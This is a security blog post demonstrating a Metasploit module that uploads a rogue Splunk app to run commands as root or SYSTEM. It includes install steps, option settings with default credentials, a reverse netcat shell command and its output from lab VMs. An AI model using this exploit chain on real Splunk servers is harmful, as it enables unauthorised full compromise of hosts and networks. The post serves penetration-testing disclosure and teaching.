Wednesday 14 November 2012

Abusing Splunk Functionality with Metasploit

In our post Splunk: With Great Power comes Great Responsibility we outlined how the sheer power and flexibility of Splunk can be abused to gain complete control of the server upon which Splunk is running. We ran through the creation of a custom application to upload through SplunkWeb, which facilitates OS command execution in the context of the Splunk OS user - which is root/SYSTEM by default.

Creating a custom application and manually specifying the arbitrary commands you wish to run is time consuming and unnecessary when we have powerful scripting languages and frameworks to do the legwork for us. Originally I developed a standalone ruby tool, which I released and demoed during a Lightning Talk at BruCON 2012 (and literally wrote during some of the talks there). However, after constant harassment a suggestion from @ChrisJohnRiley, I have developed a module for the Metasploit Framework. A pull request has been submitted, so hopefully it will be included in the main Metasploit Framework. However, until then you can clone from the 7 Elements Github repository as follows (I'll assume you're running a Unix based OS, you're on your own with Windows).

(Optional) Create a directory to store the 7E metasploit modules

$ mkdir ~Development/7Elements
$ cd Development/7Elements

Clone the code from our Github repository

$ git clone https://github.com/7Elements/msf_modules.git
Cloning into 'msf_modules'...
remote: Counting objects: 53, done.
remote: Compressing objects: 100% (30/30), done.
remote: Total 53 (delta 4), reused 44 (delta 3)
Unpacking objects: 100% (53/53), done.

Now set up your Metasploit to handle custom modules

$ cd ~/.msf4/
$ mkdir -p modules/exploits/multi/http
$ cd !!:2
cd modules/exploits/multi/http

Create a symlink to the code we cloned from 7E

ln -s ~/Development/msf_modules/modules/exploits/multi/http/splunk_upload_app_exec.rb .

With that done, we can fire up Metasploit and begin exploitation. I am going to attack a local Debian VM which is running a default installation of Splunk 5 (latest version at time of writing) with the Free license activated.


$ msfconsole 

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 983 exploits - 531 auxiliary - 162 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

msf > use exploit/multi/http/splunk_upload_app_exec 
msf  exploit(splunk_upload_app_exec) >

Let's have a look at the options available.

msf  exploit(splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   PASSWORD         changeme         yes       The password for the specified username
   Proxies                           no        Use a proxy chain
   RHOST                             yes       The target address
   RPORT            8000             yes       The target port
   SPLUNK_APP_FILE                   yes       The "rogue" Splunk application tgz
   USERNAME         admin            yes       The username with admin role to authenticate as
   VHOST                             no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Universal CMD


msf  exploit(splunk_upload_app_exec) > show advanced 

Module advanced options:

   Name           : CommandOutputDelay
   Current Setting: 10
   Description    : How long to wait before requesting command output from Splunk 
      (seconds)

   Name           : DisableUpload
   Current Setting: false
   Description    : Disable the app upload if you have already performed it once

   Name           : EnableOverwrite
   Current Setting: false
   Description    : Overwrites an app of the same name. Needed if you change the app 
      code in the tgz

   Name           : ReturnOutput
   Current Setting: true
   Description    : Display command output


As discussed, exploiting this feature requires an admin level user in Splunk. The username and password are preset to admin and changeme which are the Splunk defaults. On the Free license it actually doesn't matter as there's no authentication anyway.

You will need to set SPLUNK_APP_FILE. By default it will look in the main Metasploit data folder for the provided tar.gz app which means if it ever makes it to the main trunk you won't need to change it by default. For now we set this to the tar.gz provided in the msf_modules directory.

We also set our target (RHOST), our payload (in this case reverse netcat) and the target IP for our payload (LHOST). Everything else we can leave as default.

msf  exploit(splunk_upload_app_exec) > set RHOST splunk-linux.local
RHOST => splunk-linux.local
msf  exploit(splunk_upload_app_exec) > set SPLUNK_APP_FILE /Users/marc/Development/7Elements/msf_modules/data/exploits/splunk/upload_app_exec.tgz
SPLUNK_APP_FILE => /Users/marc/Development/7Elements/msf_modules/data/exploits/splunk/upload_app_exec.tgz
msf  exploit(splunk_upload_app_exec) > set PAYLOAD cmd/unix/reverse_netcat 
PAYLOAD => cmd/unix/reverse_netcat
msf  exploit(splunk_upload_app_exec) > set LHOST 172.16.125.1
LHOST => 172.16.125.1

Now we exploit :-)

msf  exploit(splunk_upload_app_exec) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.125.1:4444 
[*] Using command: nc 172.16.125.1 4444 -e /bin/sh 
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] Command shell session 1 opened (172.16.125.1:4444 -> 172.16.125.134:47893) at 2012-11-13 15:37:07 +0000
[*] fetching job_output for id 1352821067.8
[*] command returned:

msf  exploit(splunk_upload_app_exec) > sessions -i 1
[*] Starting interaction with 1...

id
uid=0(root) gid=0(root) groups=0(root)


The usual post-exploitation can now ensue of course. On a recent test I used this method to compromise a host which, among other things, turned out to be running the TACACS+ service for the network. I gained enable access to all Cisco devices in the environment.


In the previous post I also showed how you can retrieve the output from commands. The example I gave was against an Enterprise install running on Windows Server 2008 R2. Let's pop that puppy with our metasploit module too.

msf  exploit(splunk_upload_app_exec) > set RHOST splunk-windows.local
RHOST => splunk-windows.local
msf  exploit(splunk_upload_app_exec) > set USERNAME marc
USERNAME => marc
msf  exploit(splunk_upload_app_exec) > set PASSWORD Password100
PASSWORD => Password100
msf  exploit(splunk_upload_app_exec) > set PAYLOAD generic/custom 
PAYLOAD => generic/custom
msf  exploit(splunk_upload_app_exec) > set PAYLOADSTR cmd.exe /c systeminfo
PAYLOADSTR => cmd.exe /c systeminfo

Now exploit!

msf  exploit(splunk_upload_app_exec) > exploit
[*] Using command: cmd.exe /c systeminfo
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] fetching job_output for id 1352823090.12
[*] command returned:
msf  exploit(splunk_upload_app_exec) > 

Oh dear. What happened there? The command didn't return any output. Splunk uses an internal job scheduler in order to process commands so the way we retrieve output is by polling the job control service for any output returned. By default we do this 5 seconds after we execute the script but some commands take longer than this to return. systeminfo, as most of you will know, is not a fast command.

The solution is to increase the time the module waits before it asks for output using the advanced option CommandOutputDelay. Let's try 10 seconds:

msf  exploit(splunk_upload_app_exec) > set CommandOutputDelay 10
CommandOutputDelay => 10
msf  exploit(splunk_upload_app_exec) > exploit

[*] Using command: cmd.exe /c systeminfo
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 10 seconds to retrieve command output
[*] fetching job_output for id 1352823591.13
[*] command returned:
Host Name:                 IIS1
OS Name:                   Microsoft Windows Server 2008 R2 Standard"
OS Version:                6.1.7600 N/A Build 7600"
OS Manufacturer:           Microsoft Corporation"
OS Configuration:          Standalone Server"
OS Build Type:             Multiprocessor Free"
Registered Owner:          Windows User"
Registered Organization:"
Product ID:                00477-001-0000421-84537"
Original Install Date:     25/08/2012"
System Boot Time:          12/11/2012"
System Manufacturer:       VMware"
System Model:              VMware Virtual Platform"
System Type:               x64-based PC"
Processor(s):              2 Processor(s) Installed."
...snip...

Ah. That's better.

No comments:

Post a Comment